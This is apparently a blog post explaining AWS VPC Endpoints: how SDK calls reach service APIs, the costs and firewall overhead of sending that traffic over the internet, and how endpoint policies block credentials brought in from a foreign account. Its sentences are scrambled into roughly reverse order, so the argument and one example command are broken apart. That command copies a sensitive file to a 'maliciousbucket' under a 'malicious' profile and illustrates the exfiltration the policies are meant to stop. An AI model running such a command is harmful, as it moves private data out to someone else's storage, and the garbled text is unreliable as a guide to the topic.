![]() You may have noticed by now that in each of the above scenarios we were working in a single region - us-east-1. Shared endpoints with complex policies are perfectly acceptable, just as long as that design accommodates your threat models. Do not go overboard by creating endpoints for every API action. While designing your VPC Endpoint architecture, it is especially important to understand your use cases and architecture. ![]() sensitivefile s3://maliciousbucket -profile malicious The following command would fail even if the malicious profile had proper access in IAM aws s3 cp. If someone were to gain shell access to a VPC resource and introduce credentials from their own AWS account, VPC endpoints with properly configured policies could prevent those credentials from being used. They improve your security posture by enforcing authorized flows of traffic, especially when malicious insiders are involved. I recommend using VPC Endpoint policies with all your endpoints. To muddy the waters, there are two types of VPC Endpoints. We will get to the inter-region ramifications after. The following examples assume you are working in us-east-1. Often people will try to argue that VPC Endpoints won’t work because they are trying to access a resource in another AWS account - but this is not true! Endpoints simply change the network path that request takes to get to the service API. It must be said that VPC Endpoints are strictly networking constructs. To help their customers with the above pain points, AWS allows you to create VPC Endpoints. Often times, AWS domains are excluded from outbound decryption for these reasons. This adds additional administration overhead and also requires some complicated rules in your firewall to control network access to AWS APIs. This requires trusting the certificate chain used by the firewall. Many NGFWs have the ability to decrypt outbound TLS traffic - Palo Alto calls this SSL Forward Proxy, where the Palo Alto terminates outbound TLS between the VPC resource, and acts as a man-in-the-middle to inspect the previously encrypted traffic at the application layer. AWS SDKs often have their own independent certificate trust stores built-in (they may not use the local operating system’s trust store). ![]() There are a lot of factors that can affect latency, though I would tend to believe the majority of the time VPC endpoints would improve latency at least marginally. That has not been my experience but felt compelled to update. **A few readers have contacted me stating VPC Endpoints do not necessarily decrease latency to AWS Services and sometimes seem to increase it. Latency - Maybe not a huge hit, if it is staying with in the region, but still traffic going over a public internet link will almost always be slower than traffic taking a private route via MPLS or something.Egress Data Fees - If you are using a managed NAT GW, AWS charges you data processing on egress traffic, this can be particularly costly for S3 (Corey Quinn is nodding vigorously if he somehow finds this post).Debugging and properly implementing this is time consuming and can drive people insane. You have to know these domains and IP addresses beforehand if you want to allow them out. IP allow-lists, domain allows-lists, which can get cumbersome. Requires outbound firewall rules - e.g.However, allowing traffic over the internet has 4 issues: Inside of the VPC, this would require an internet gateway and perhaps a NAT GW. This is the default flow of traffic, whether the client is in a VPC or from your laptop at home. To find the correct IP to send the request to, the CLI must also do a DNS Lookup for. The CLI sends an HTTPS request to for the DescribeDbInstances API action with your IAM information to authenticate the request. For example, when you run aws rds describe-db-instances -region us-east-1 When you use an AWS SDK - whether it be the AWS CLI, Python Boto3, AWS SDK for JS, or any of them- that SDK is essentially executing an HTTPS request. The AWS API is simply just a bunch of HTTPS 443 TCP endpoints (well there are a few notable exceptions that use different protocols such as SES and IOT but the concept is still the same). So let’s take a minute to fully understand what they are and why you should use them. Furthermore, because they are so misunderstood, their under-use in customer environments is borderline criminal. I feel like I have to explain how they actually work under the hood once a week. ![]() One of the most misunderstood features of AWS is VPC Endpoints. What Exactly are VPC Endpoints and Why They Need Real Inter-Region Support
0 Comments
Leave a Reply. |